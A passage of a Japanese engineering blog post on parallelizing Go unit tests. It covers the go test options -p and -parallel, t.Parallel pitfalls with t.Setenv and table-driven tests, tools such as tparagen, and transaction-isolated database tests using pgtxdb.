id="fnref:2"><a href="#fn:2" rel="footnote">2</a></sup></p> <p>本記事のタイトルにもある「<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%E6%A5%CB%A5%C3%A5%C8%A5%C6%A5%B9%A5%C8">ユニットテスト</a>並行化」は、「個々のテストを独立に実行できる構成にすること」と言い換えることができます。</p> <p>記事で紹介するGoの標準パッケージ<code>testing</code>には<code>t.Parallel</code>・<code>-parallel</code>というメソッド・機能があります。これらは用語の定義とは別として、本記事では固有名詞として扱います。</p> <h3 id="この記事の内容目的">この記事の内容・目的</h3> <p>この記事の目的は、Go言語での<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%E6%A5%CB%A5%C3%A5%C8%A5%C6%A5%B9%A5%C8">ユニットテスト</a>の並行化を無理なく導入し、運用するための参考情報を提供することです。ゴールーチンやチャネルなど、並行・並列周りの詳細な深掘りは本記事では行いません。ご了承ください。この記事を最後まで読むことで、Go言語における<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%E6%A5%CB%A5%C3%A5%C8%A5%C6%A5%B9%A5%C8">ユニットテスト</a>の並行化に関する理解が深まり、<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B3%AB%C8%AF%A5%D7%A5%ED%A5%BB%A5%B9">開発プロセス</a>の効率化や品質向上につながることを期待しています。</p> <p>読者は、Goである程度<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%E6%A5%CB%A5%C3%A5%C8%A5%C6%A5%B9%A5%C8">ユニットテスト</a>を書いてきた経験がある方を対象としています。</p> <h3 id="テスト並行化のメリット">テスト並行化のメリット</h3> <p>テスト並行化は、<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B3%AB%C8%AF%A5%D7%A5%ED%A5%BB%A5%B9">開発プロセス</a>において重要な役割を果たします。その主なメリットは以下が考えられます。</p> <ul> <li><p><strong>テスト時間の短縮</strong>: テストを並行化することで、並列実行時に全体のテスト実行時間が大幅に短縮される可能性があります。例えば10分かかるテストが4つある場合、そのままでは40分かかりますが、並行化することで10分に短縮できるかもしれません。</p></li> <li><p><strong>システムリソースの効率的な利用</strong>: 最近のコンピュータは複数のコアを持つプロセッサを搭載しています。テストを並行化することで、これらのコアを同時に利用し、システムリソースを最大限に活用することが見込めます。これにより、テスト実行時のパフォーマンスが向上し、テスト実行時間がさらに短縮されます。</p></li> <li><p><strong>テストの信頼性向上</strong>: 並行化は、テストコードとテスト対象がマルチコア環境でうまく動作することを保証します。これは、特に<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C7%A5%C3%A5%C9%A5%ED%A5%C3%A5%AF">デッドロック</a>や競合状態といった並列実行時の問題を検出するのに有用です。カンムのアプリケーションは決済領域に関わるため、ユーザーのお金を保護する点で<strong>この観点は特に重要と考えています</strong>。</p></li> <li><p><strong>CI/CDパイプラインの最適化</strong>: 例として「テストの後にLintを走らせ、その後にデプロイ...」といった一連のワークフローが組まれている場合は、最初のテスト実行時間が<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%DC%A5%C8%A5%EB%A5%CD%A5%C3%A5%AF">ボトルネック</a>となっています。テストを並行化することによって、テストの部分をさらにいくつかのタスク・ジョブに分割するなどの最適化が可能となり、開発者が新機能をより迅速にリリースできるようになります。</p></li> </ul> <p>以上のように、テストの並行化は<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B3%AB%C8%AF%A5%D7%A5%ED%A5%BB%A5%B9">開発プロセス</a>の効率化や品質向上に寄与し、開発チームの生産性をより高めることができます。</p> <h3 id="並行化に伴う課題">並行化に伴う課題</h3> <p>テストの並行化は多くのメリットがある一方で、導入や運用において様々な課題も存在します。以下に、自分が体験した主な課題をいくつか挙げます。</p> <ul> <li><p><strong>一定規模以上のアプリケーションのテスト対応</strong>: 中〜大規模なアプリケーションでは、往々にして多くのテストケースが存在(テストケースが100個〜)し、それらをすべて並行化することは手間がかかる場合があります。また、テスト対象がグローバルな変数を参照していたり、テスト順序に依存している場合があり、テストケース間で共有されるリソースや依存関係の管理も複雑になりがちです。これらの問題を解決するためには、並行化する前にテスト対象のコードの<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%EA%A5%D5%A5%A1%A5%AF%A5%BF%A5%EA%A5%F3%A5%B0">リファクタリング</a>や、テストコード設計の見直しが必要となります。</p></li> <li><p><strong>並行化による新たなバグの発生</strong>: テストを並行化すると、新たにマルチコア環境に関連した問題が発生する可能性があります。<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C7%A5%C3%A5%C9%A5%ED%A5%C3%A5%AF">デッドロック</a>や競合状態は並列実行特有の問題であり、それらを解決するためにはテストコードの設計や実装を再考する必要があります。具体的には、テストケースを隔離する・共有リソースへのアクセスを同期するなどの見直しが必要です。</p></li> <li><p><strong>データベース接続テストの並行化</strong>: データベース接続テストを並行に実行する場合、テストケース間でのデータ競合を避けるために、各テストケースが独立したデータベース接続を持つことが重要です。このような独立性を確保するためには、テストデータの準備やクリーンアップの方法を見直す・データベース<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%F3%A5%B6%A5%AF%A5%B7%A5%E7%A5%F3">トランザクション</a>の扱いを改善するなどの工夫が必要となります。</p></li> </ul> <p>これらの課題に対処するためには、適切なツールの採用・テスト設計方針を策定することが必要です。</p> <h2 id="testingパッケージの概要">testingパッケージの概要</h2> <p>ここでは、Go言語での<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%E6%A5%CB%A5%C3%A5%C8%A5%C6%A5%B9%A5%C8">ユニットテスト</a>並行化に必要な標準パッケージ<code>testing</code>の概要を説明します。</p> <h3 id="Goの標準パッケージ">Goの標準パッケージ</h3> <p>Go言語はそのデザインの中心にテストを位置づけています。これを反映して、Goの標準ライブラリには<code>testing</code>というパッケージが含まれています。これは<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%E6%A5%CB%A5%C3%A5%C8%A5%C6%A5%B9%A5%C8">ユニットテスト</a>・<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%D9%A5%F3%A5%C1%A5%DE%A1%BC%A5%AF">ベンチマーク</a>テストなど、Go言語でテストを書くための基本的なツールセットを提供しています。</p> <p><a href="https://pkg.go.dev/testing">https://pkg.go.dev/testing</a></p> <h3 id="並行実行のサポート">並行実行のサポート</h3> <p><code>testing</code>パッケージにはテストの並列実行をサポートする機能を提供しています。ここでは、テストを実行する<code>go test</code>コマンドで指定できる、以下の2つのオプションについて説明します。</p> <ul> <li><p>パッケージ<strong>ごと</strong>のテストの並行実行をサポートする<code>-p</code>オプション</p></li> <li><p>パッケージ<strong>内</strong>のテストを並行実行をサポートする<code>-parallel</code>オプション</p></li> </ul> <p>これらは全く異なるオプションです。よく誤解されますが、<code>-p</code>オプションは<code>-parallel</code>オプションの短縮系ではありません。</p> <h4 id="-pオプション"><code>-p</code>オプション</h4> <p><code>go help build</code>で出力される<code>-p</code>オプションの説明は以下になります。</p> <pre class="code" data-lang="" data-unlink> -p n the number of programs, such as build commands or test binaries, that can be run in parallel. The default is GOMAXPROCS, normally the number of CPUs available.</pre> <p>整理すると、以下のようになります。</p> <ul> <li><p>ビルドコマンドやテストバイナリなど、並列実行できるプログラムの数を指定するオプション。</p></li> <li><p>デフォルトは論理CPUの数。</p></li> </ul> <p>デフォルトでは論理CPUの数(=<code>GOMAXPRCS</code>のデフォルト値)に設定されているため、マルチコアのマシン上で動作させれば、パッケージ単位でテストが並列に実行されます。例えばルート配下に<code>hoge</code>パッケージと<code>fuga</code>パッケージの2つが存在する場合、</p> <pre class="code bash" data-lang="bash" data-unlink>go test ./...</pre> <p>と実行すると、<code>hoge</code>パッケージと<code>fuga</code>パッケージのテストは別々のプロセスで実行されます。</p> <h4 id="-parallelオプション"><code>-parallel</code>オプション</h4> <p><code>go help testflag</code>で出力される<code>-parallel</code>の説明です。</p> <pre class="code" data-lang="" data-unlink>-parallel n Allow parallel execution of test functions that call t.Parallel, and fuzz targets that call t.Parallel when running the seed corpus. The value of this flag is the maximum number of tests to run simultaneously. While fuzzing, the value of this flag is the maximum number of subprocesses that may call the fuzz function simultaneously, regardless of whether T.Parallel is called. By default, -parallel is set to the value of GOMAXPROCS. Setting -parallel to values higher than GOMAXPROCS may cause degraded performance due to CPU contention, especially when fuzzing. Note that -parallel only applies within a single test binary. The &#39;go test&#39; command may run tests for different packages in parallel as well, according to the setting of the -p flag (see &#39;go help build&#39;).</pre> <p>整理すると、以下のようになります。 - <code>t.Parallel</code>を呼び出すテスト関数を同時に実行する数の最大値を指定するオプション。</p> <ul> <li><p>デフォルトは論理CPUの数。</p></li> <li><p>1つのテストバイナリ内でのみ適用される。</p></li> </ul> <p><strong>このオプションの対象となるのは、<code>t.Parallel</code>を呼び出しているテストケースのみです</strong>。つまり、<code>-p</code>オプションとは違い、こちらは開発者が対応しなければなりません。</p> <h3 id="使用方法">使用方法</h3> <p>ここでは、先述した<code>go test</code>コマンドの2つのオプション<code>-p</code>・<code>-parallel</code>について説明します。</p> <h4 id="-pオプション-1">-pオプション</h4> <p><code>-p</code>オプションは、テストコードに手を加える必要はありません。また、デフォルトでマシンの論理CPUの数に設定されているため、基本的に指定しなくても良いです。</p> <p>意図的に制限する場合は、以下のようになります。</p> <pre class="code bash" data-lang="bash" data-unlink>go test -p=1 ./...</pre> <h4 id="-parallelオプション-1">-parallelオプション</h4> <p><code>-parallel</code>オプションは<code>p</code>オプションと同じく、デフォルトでマシンの論理CPUの数に設定されています。 こちらは、対象のテスト関数に<code>t.Parallel</code>を記述する必要があります。</p> <p>例1:サブテストなし</p> <pre class="code lang-go" data-lang="go" data-unlink><span class="synStatement">func</span> TestXXX(t *testing.T) { t.Parallel() ... } </pre> <p>テストケースがサブテスト化されている場合は、メインテスト・サブテスト双方に<code>t.Parallel</code>を埋め込みます。</p> <p>例2:サブテストあり</p> <pre class="code lang-go" data-lang="go" data-unlink><span class="synStatement">func</span> TestXXX(t *testing.T) { t.Parallel() t.Run(<span class="synConstant">&quot;case1&quot;</span>, <span class="synType">func</span>(t *testing.T) { t.Parallel() ... }) t.Run(<span class="synConstant">&quot;case2&quot;</span>, <span class="synType">func</span>(t *testing.T) { t.Parallel() ... }) } </pre> <h4 id="goのテストはデフォルトである程度最適化されている">goのテストはデフォルトである程度最適化されている</h4> <p><code>-p</code>オプションはデフォルトでマシンの論理CPU数に設定されているため、<strong>パッケージ単位での並行化は何もしなくても最適化されています</strong>。パッケージは通常、独立した機能を提供する単位として設計されるため、テストの文脈でもこのような設計になっているのでしょう。このような設計は、<a class="keyword" href="https://d.hatena.ne.jp/keyword/JavaScript">JavaScript</a>のテスト<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%D5%A5%EC%A1%BC%A5%E0%A5%EF%A1%BC%A5%AF">フレームワーク</a>である<a href="https://jestjs.io/ja/">Jest</a>でも見られます。</p> <p>一方、<code>-parallel</code>の方は明示的に開発者がテストコード内に<code>t.Parallel</code>を仕込まないと最適化されません。テストケースの性質と要件を考慮して適切な並列化戦略を選択することが重要ですが、私はできるだけきめ細やかに並行化することを推奨しています。テスト時間短縮のメリットだけでなく、テストコードとテスト対象がマルチコア環境でうまく動作することを保証してくれるためです。</p> <h2 id="テスト並行化に伴う課題">テスト並行化に伴う課題</h2> <p>テスト並行化には多くのメリットがある一方、その導入と運用にはいくつか課題があります。並行・並列が関わる性質上、特殊なものが多いため、これらの課題は一般的なテストプロセスとは異なり、注意深く対処する必要があります。</p> <h3 id="アプリケーションの規模によるもの">アプリケーションの規模によるもの</h3> <p>先に述べた通り、パッケージ内の個別のテストケースを並行化するには、<code>t.Parallel</code>をテスト関数で呼び出す必要があります。個人開発のちょっとしたパッケージであればあまり問題となりませんが、商用アプリケーションのコードに導入する場合は一筋縄ではありません。単純に人力での対応が大変、という<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B9%A9%BF%F4">工数</a>面での問題もありますが、特定の場合における並行化によるバグへの対処が必要になる場合もあります。</p> <h3 id="並行化によるバグへの対処">並行化によるバグへの対処</h3> <h4 id="環境変数に起因するもの"><a class="keyword" href="https://d.hatena.ne.jp/keyword/%B4%C4%B6%AD%CA%D1%BF%F4">環境変数</a>に起因するもの</h4> <p>テスト対象の中には、<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B4%C4%B6%AD%CA%D1%BF%F4">環境変数</a>を参照するものもあるでしょう。<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B4%C4%B6%AD%CA%D1%BF%F4">環境変数</a>はグロー<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%D0%A5%EB%A5%B9">バルス</a>コープの変数と相違ないため、テストコード内で<code>os.Setenv</code>で<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B4%C4%B6%AD%CA%D1%BF%F4">環境変数</a>を設定した場合、意図せず他のテストケースに影響を及ぼしてしまう可能性があります。 そこで、<code>testing</code>パッケージは<code>t.Setenv</code>メソッドを提供しています。</p> <p><a href="https://github.com/golang/go/blob/891547e2d4bc2a23973e2c9f972ce69b2b48478e/src/testing/testing.go#L1120">https://github.com/golang/go/blob/891547e2d4bc2a23973e2c9f972ce69b2b48478e/src/testing/testing.go#L1120</a></p> <p>このメソッドでセットされた<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B4%C4%B6%AD%CA%D1%BF%F4">環境変数</a>は、テストケースが終了した際に破棄されます。テストで<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B4%C4%B6%AD%CA%D1%BF%F4">環境変数</a>を扱う際は<code>os.Setenv</code>ではなくこのメソッドを使用するのがベターです。 ですが、<code>t.Setenv</code>を呼び出していた場合同じテスト関数内で<code>t.Parallel</code>メソッドは呼び出すことができません。並列実行時の想定外の挙動を防ぐため、<a href="https://github.com/golang/go/blob/891547e2d4bc2a23973e2c9f972ce69b2b48478e/src/testing/testing.go#L1122">意図的に<code>panic</code>を起こすようになっています</a>。</p> <p>例1:</p> <pre class="code lang-go" data-lang="go" data-unlink><span class="synStatement">func</span> TestXXX(t *testing.T) { t.Parallel() t.Setenv(<span class="synConstant">&quot;test&quot;</span>, <span class="synConstant">&quot;test&quot;</span>) <span class="synComment">// panic(&quot;testing: t.Setenv called after t.Parallel; cannot set environment variables in parallel tests&quot;)</span> ... } </pre> <p>この<code>t.Setenv</code>・<code>t.Parallel</code>の組み合わせは、メインテストならメインテストごと、サブテストならサブテストごとに評価されます。以下の例では<code>panic</code>は発生しません。</p> <p>例2</p> <pre class="code lang-go" data-lang="go" data-unlink><span class="synStatement">func</span> TestXXX(t *testing.T) { t.Setenv(<span class="synConstant">&quot;test&quot;</span>, <span class="synConstant">&quot;test&quot;</span>) t.Run(<span class="synConstant">&quot;case1&quot;</span>, <span class="synType">func</span>(t *testing.T) { t.Parallel() ... }) } </pre> <p>よってテスト対象が<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B4%C4%B6%AD%CA%D1%BF%F4">環境変数</a>に依存するようなコードになっていた場合、並行化前に以下のことに注意する必要があります。</p> <ul> <li><p><code>os.Setenv</code>を使用していないか</p></li> <li><p>同じテストレベルで<code>t.Setenv</code>と<code>t.Parallel</code>を同時に使用していないか</p></li> </ul> <h4 id="テーブル駆動テストでのクロージャに起因するもの">テーブル駆動テストでの<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%AF%A5%ED%A1%BC%A5%B8%A5%E3">クロージャ</a>に起因するもの</h4> <p>Go言語では、テストケースの入力値と期待値を分かりやすくする方法として、Table Driven Test(テーブル駆動テスト<sup id="fnref:3"><a href="#fn:3" rel="footnote">3</a></sup>)が推奨されています。このテーブル駆動テストと並行化を組み合わせた際のよくあるバグとして、俗に言う<code>tt := tt</code>忘れがあります。</p> <p>以下の挙動を引き起こす問題です。</p> <ul> <li>テーブル駆動テストにおいて、サブテスト関数内でループ変数を再定義せずに<code>t.Parallel</code>を呼び出すだけだと、ループ最後のテストケースしかテストされない</li> </ul> <p>具体的な例を示します。以下の例では、<code>name: "test 3"</code>のテストケースしか実際には実行されません。</p> <p>例1</p> <pre class="code lang-go" data-lang="go" data-unlink> <span class="synStatement">func</span> TestXXX(t *testing.T) { tests := []<span class="synStatement">struct</span> { name <span class="synType">string</span> arg <span class="synType">string</span> want <span class="synType">bool</span> }{ {name: <span class="synConstant">&quot;test 1&quot;</span>, arg: <span class="synConstant">&quot;arg1&quot;</span>, want: <span class="synStatement">true</span>}, {name: <span class="synConstant">&quot;test 2&quot;</span>, arg: <span class="synConstant">&quot;arg2&quot;</span>, want: <span class="synStatement">false</span>}, {name: <span class="synConstant">&quot;test 3&quot;</span>, arg: <span class="synConstant">&quot;arg3&quot;</span>, want: <span class="synStatement">true</span>}, } <span class="synStatement">for</span> _, tt := <span class="synStatement">range</span> tests { t.Run(tt.name, <span class="synType">func</span>(t *testing.T) { t.Parallel() <span class="synStatement">if</span> got := XXX(tt.arg); got != tt.want { ... } }) } } </pre> <p>この挙動を解決するには、以下のように、ループ変数を再定義します。</p> <pre class="code lang-diff" data-lang="diff" data-unlink>for _, tt := range tests { <span class="synIdentifier">+ tt := tt</span> t.Run(tt.name, func(t *testing.T) { t.Parallel() if got := XXX(tt.arg); got != tt.want { ... } }) } </pre> <p>このバグは非常に見つけにくいです。テストケースが全てパスする場合、テスト結果の詳細をチェックしていなければ、最後のケースしかテストされていないことに気づけません。go1.20からは<code>go vet</code>に<a href="https://github.com/golang/go/discussions/56010">この間違いを未然にチェックする機能</a>が組み込まれました。テーブル駆動テストを並行化する際には<code>go vet</code>による静的解析を有効化しておきましょう。</p> <p>この問題についての詳細は、別途記事にまとめています。こちらも合わせて参考にしてください。</p> <ul> <li><a href="https://qiita.com/sho-hata/items/19356a3525fa47cfd2b1">Go言語のTable Driven Testでt.parallel()によるテスト並行実行時、一部のテストケースしか評価されない問題について</a></li> </ul> <p>他の方が書かれたこちらの記事もとても参考となります。</p> <ul> <li><a href="https://qiita.com/tenntenn/items/a003fe8774b82325e2df">Goの並列テストでよくあるバグ(tt := tt忘れ)に対する対策</a></li> </ul> <h4 id="導入運用は難しい">導入・運用は難しい</h4> <p>Goで書かれた比較的中〜大規模アプリケーションのテストを並行化させるには、<strong><a class="keyword" href="https://d.hatena.ne.jp/keyword/%B4%C4%B6%AD%CA%D1%BF%F4">環境変数</a>やテーブル駆動テストの落とし穴に注意しながら、各テストケースに、<code>t.Parallel</code>を埋め込んでいく</strong>作業が必要となります。 しかし、それは人力でやるには非常に手間がかかるばかりか、間違いや見落としが発生しやすい作業です。特に大規模なコードベースでは、既存のテストケースが数百まで及ぶ場合があり、すべてに<code>t.Parallel</code>を追加するのは現実的ではありません。 加えて、新たにテストを追加する際にも同じ問題が発生します。新しいテストを書く際に、開発者が<code>t.Parallel</code>を忘れてしまったり、他のテストケースに影響を及ぼす可能性がああった場合、それを見つけ出すのは困難です。</p> <h2 id="データベース接続テストの並行化">データベース接続テストの並行化</h2> <p>データベースに接続するテストの並行化は、特に注意が必要です。テストケース間でデータベースの状態が共有されるため、一つのテストケースがデータベースの状態を変更すると、それが他のテストケースに影響を及ぼす可能性があります。例えば、同じレコードに対する更新操作を複数のテストケースで行うと、実行結果が他のテストケースの動作に依存することになります。</p> <h3 id="独立したテスト環境の構築">独立したテスト環境の構築</h3> <p>これらの問題を解決する一つのアプローチは、各テストケースに対して独立したデータベース環境を提供することです。例えば、各テストケースで使用するデータベース<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%AD%A1%BC%A5%DE">スキーマ</a>を独立させるか、または各テストケースが使用するデー<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%BF%A5%BB%A5%C3%A5%C8">タセット</a>を分離するなどです。こうすることで、一つのテストケースがデータベースの状態を変更しても、他に影響を及ぼすことがなくなります。</p> <p>しかし、このアプローチには注意が必要です。テスト実行前後でデータベース<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%AD%A1%BC%A5%DE">スキーマ</a>をセットアップ・クリーンアップする必要があります。うまく工夫しないと、このプロセスは多くの時間とリソースを消費するため、大規模なコードベースでは注意深く管理する必要があります。また、このプロセスは自動化されるべきであり、それを実現するためには適切なツールと運用が必要です。</p> <h2 id="無理なく導入するためのツールと事例紹介">無理なく導入するためのツールと事例紹介</h2> <p>さて、ここまでGoにおけるテスト並行化の導入・運用のメリットや課題について紹介しました。 ここからは、先ほど説明したテスト並行化に伴う諸課題について、私の経験をもとに解決策の一例を紹介します。</p> <h3 id="Goのテストコードを一気に並行動作できるようにするツールtparagen">Goのテストコードを一気に並行動作できるようにするツール「tparagen」</h3> <p><a href="https://github.com/sho-hata/tparagen">https://github.com/sho-hata/tparagen</a></p> <p>この「tparagen」は、<strong>Goのテストコードを静的に解析し、可能な限り<code>t.Parallel()</code>を適切な場所に自動挿入するGo製のツール</strong>です。数百個のテスト関数が対象であっても一瞬で並行化できるため、人力でチマチマ<code>t.Parallel</code>を埋め込む必要がありません。そのため、ある程度規模のあるコードベースにも、無理なくテストを並行化することができます。</p> <p><img src="https://storage.googleapis.com/zenn-user-upload/7123be62fa15-20230515.gif" alt="" /></p> <p>また、先に述べた問題を考慮した上でこのツールが作成されているため、安全にテストコードを並行化できます。 例えば、<strong><code>t.Setenv</code>と<code>t.Parallel</code>が同時に呼び出されると<code>panic</code>する問題</strong>の対応策として、<code>t.Setenv</code>を呼び出しているテストは並行化がスキップされます。さらに、メインテストはメインテスト、サブテストはサブテスト同士でチェックするため、<code>t.Parallel</code>の入れ忘れを防ぎ、逆に並行化してはいけないテストに<code>t.Parallel</code>を入れてしまうといったこともありません。</p> <p>また、<strong><code>tt := tt</code>忘れによるバグ</strong>も事前に防ぐ仕組みが用意されています。 以下のような<code>tt := tt</code>忘れによるバグを引き起こすテスト関数があった場合、サブテストには<strong>ループ変数の再定義を行いつつt.Parallel`を埋め込みます</strong>。これにより、<a class="keyword" href="https://d.hatena.ne.jp/keyword/%C0%F8%BA%DF%C5%AA">潜在的</a>なバグを埋め込むことなくテストを並行化することができます。</p> <p>例1: tparagen実行前(並行化前)</p> <pre class="code lang-go" data-lang="go" data-unlink><span class="synStatement">func</span> TestXXX(t *testing.T) { tests := []<span class="synStatement">struct</span> { ... }{ {name: <span class="synConstant">&quot;test 1&quot;</span>, arg: <span class="synConstant">&quot;arg1&quot;</span>, want: <span class="synStatement">true</span>}, {name: <span class="synConstant">&quot;test 2&quot;</span>, arg: <span class="synConstant">&quot;arg2&quot;</span>, want: <span class="synStatement">false</span>}, } <span class="synStatement">for</span> _, tt := <span class="synStatement">range</span> tests { t.Run(tt.name, <span class="synType">func</span>(t *testing.T) { <span class="synStatement">if</span> got := XXX(tt.arg); got != tt.want { ... } }) } } </pre> <p>例2: tparagen実行後(並行化後)</p> <pre class="code lang-diff" data-lang="diff" data-unlink>func TestXXX(t *testing.T) { <span class="synIdentifier">+ t.Parallel() // 並行化</span> tests := []struct { ... }{ {name: &quot;test 1&quot;, arg: &quot;arg1&quot;, want: true}, {name: &quot;test 2&quot;, arg: &quot;arg2&quot;, want: false}, } for _, tt := range tests { <span class="synIdentifier">+ tt := tt // ループ変数の再定義</span> t.Run(tt.name, func(t *testing.T) { <span class="synIdentifier">+ t.Parallel() // 並行化</span> if got := XXX(tt.arg); got != tt.want { ... } }) } } </pre> <p>このほかにも、いくつか機能が搭載されています。詳細はtparagenの<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%EA%A5%DD%A5%B8%A5%C8%A5%EA">リポジトリ</a>をご参照ください。</p> <p><a href="https://github.com/sho-hata/tparagen">https://github.com/sho-hata/tparagen</a></p> <p>また、バグ発見等のissue報告・Pull Request大歓迎です。</p> <h3 id="tParallelし忘れを防止する静的解析ツール"><code>t.Parallel</code>し忘れを防止する静的解析ツール</h3> <p><a href="https://github.com/kunwardeep/paralleltest">https://github.com/kunwardeep/paralleltest</a></p> <p><a href="https://github.com/moricho/tparallel">https://github.com/moricho/tparallel</a></p> <p>これらのツールは、<strong><code>t.Parallel</code>を使用していないテスト関数を報告してくれます</strong>。CIやGit Hookに組み込めば、コードレビューで人間がいちいちチェックしなくても<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B5%A1%B3%A3%C5%AA">機械的</a>に検出してくれるため、無理なくテスト並行化を運用に乗せることができます。また、場合によっては並行化したくないテストもあります。その場合は<code>nolint</code>ディレクティブを挿入することによりチェックをスキップすることができます。</p> <p>例1</p> <pre class="code lang-go" data-lang="go" data-unlink><span class="synStatement">func</span> TestXXX(t *testing.T) { <span class="synComment">// ERROR &quot;Function TestXXX missing the call to method parallel&quot;</span> ... }<span class="synError"> </span> </pre> <p>例2:nolintでスキップする例</p> <pre class="code lang-go" data-lang="go" data-unlink><span class="synComment">// nolint:tparallel,paralleltest</span> <span class="synStatement">func</span> TestXXX(t *testing.T) {} </pre> <p>ちなみに、tparagenはこの<code>nolint</code>があるテスト関数は並行化をスキップします。</p> <h3 id="データベース接続テストの並行化事例紹介">データベース接続テストの並行化:事例紹介</h3> <p>並行化コードの自動挿入ツールと静的解析ツールで、テスト並行化の導入・運用の課題はクリアできました。もう一つ、データベース接続テスト並行化の課題があります。</p> <p>ここからは私の所属する株式会社カンムの<a href="https://pool-card.jp/">pool</a>開発チームでの、テスト並行化に向けた取り組みを紹介します。データベースと接続するテストを並行化する際の参考になれば幸いです。</p> <p>先に述べた通り、データベースと接続するテストを並行化するには、<strong>テストケースごとに独立した環境の構築</strong>がポイントとなります。弊チームでは、テスト時の<a class="keyword" href="https://d.hatena.ne.jp/keyword/SQL">SQL</a>ドライバとして<a href="https://github.com/DATA-DOG/go-txdb">DATA-DOG/go-txdb</a>を<a class="keyword" href="https://d.hatena.ne.jp/keyword/PostgreSQL">PostgreSQL</a>用に拡張した<code>achiku/pgtxdb</code>というツールを使っています。</p> <p><a href="https://github.com/achiku/pgtxdb">https://github.com/achiku/pgtxdb</a></p> <p>このpgtxdb(go-txdb)は<code>database/sql.DB</code>と互換性があるデータベースとのコネクションを作ることができるライブラリで、以下の特徴を持っています。</p> <ul> <li><p>データベースとのコネクションが確立すると<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%F3%A5%B6%A5%AF%A5%B7%A5%E7%A5%F3">トランザクション</a>が開始する。閉じると<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%ED%A1%BC%A5%EB%A5%D0%A5%C3%A5%AF">ロールバック</a>する。</p></li> <li><p>各コネクションで行われる全てのデータベース操作はお互いに影響せず、<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%F3%A5%B6%A5%AF%A5%B7%A5%E7%A5%F3">トランザクション</a>内で完結する。</p></li> <li><p>もしテスト対象が<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%F3%A5%B6%A5%AF%A5%B7%A5%E7%A5%F3">トランザクション</a>イベントを利用していた場合は、モック化する</p> <ul> <li>BEGIN -> SAVEPOINT</li> <li>COMMIT -> なにもしない</li> <li>ROLLBACK -> ROLLBACK TO SAVEPOINT</li> </ul> </li> </ul> <p>この特徴を活かし、各テスト開始時に必要なデータの準備を行い、テスト終了時にレコードの変更が<a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%ED%A1%BC%A5%EB%A5%D0%A5%C3%A5%AF">ロールバック</a>するような環境になっています。<strong><a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%F3%A5%B6%A5%AF%A5%B7%A5%E7%A5%F3">トランザクション</a>は互いに独立しているため、並列実行時にも問題はありません</strong>。</p> <p>pgtxdbを取り入れた後のテスト全体のライフサイクル(パッケージ単位)は以下の図のようになります。 <img src="https://storage.googleapis.com/zenn-user-upload/2cb2a66898aa-20230527.png" alt="" /></p> <h4 id="テスト全体の前後処理">テスト全体の前後処理</h4> <p>テスト全体の前後処理は、<code>func TestMain(m *testing.M)</code>を使って実現しています。TestMainの仕様については<a href="https://pkg.go.dev/testing#hdr-Main">testing#Main</a>を参考にしてください。</p> <p>大きく分けて以下のようなことをしています。 <strong>前処理</strong></p> <ul> <li><a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%AD%A1%BC%A5%DE">スキーマ</a>の作成</li> <li>テーブルの作成</li> <li><code>pgtxdb</code>ドライバの登録</li> </ul> <p><strong>後処理</strong></p> <ul> <li><a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%B9%A5%AD%A1%BC%A5%DE">スキーマ</a>の破棄</li> </ul> <p>以下は<a class="keyword" href="https://d.hatena.ne.jp/keyword/%B5%BC%BB%F7%A5%B3%A1%BC%A5%C9">擬似コード</a>ですが、大まかはこの例のようなイメージです。<code>m.Run</code>の前に実行しているのが前処理、<code>defer</code>で実行するのが後処理です。</p> <pre class="code lang-go" data-lang="go" data-unlink><span class="synStatement">func</span> TestMain(m *testing.M) { <span class="synStatement">if</span> err := createSchema(); err != <span class="synStatement">nil</span> { os.Exit(<span class="synConstant">1</span>) } <span class="synStatement">if</span> err := createTable(); err != <span class="synStatement">nil</span> { os.Exit(<span class="synConstant">1</span>) } <span class="synStatement">defer</span> dropSchema(config, schema) m.Run() } </pre> <h4 id="テストケースごとの前後処理">テストケースごとの前後処理</h4> <p>ここでやっていることは大きく分けて以下のような処理です。</p> <p><strong>前処理</strong></p> <ul> <li>コネクションの作成</li> <li><a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%F3%A5%B6%A5%AF%A5%B7%A5%E7%A5%F3">トランザクション</a>の開始</li> </ul> <p><strong>後処理</strong></p> <ul> <li><a class="keyword" href="https://d.hatena.ne.jp/keyword/%A5%C8%A5%E9%A5%F3%A5%B6%A5%AF%A5%B7%A5%E7%A5%F3">トランザクション</a>の<a class="keyword" 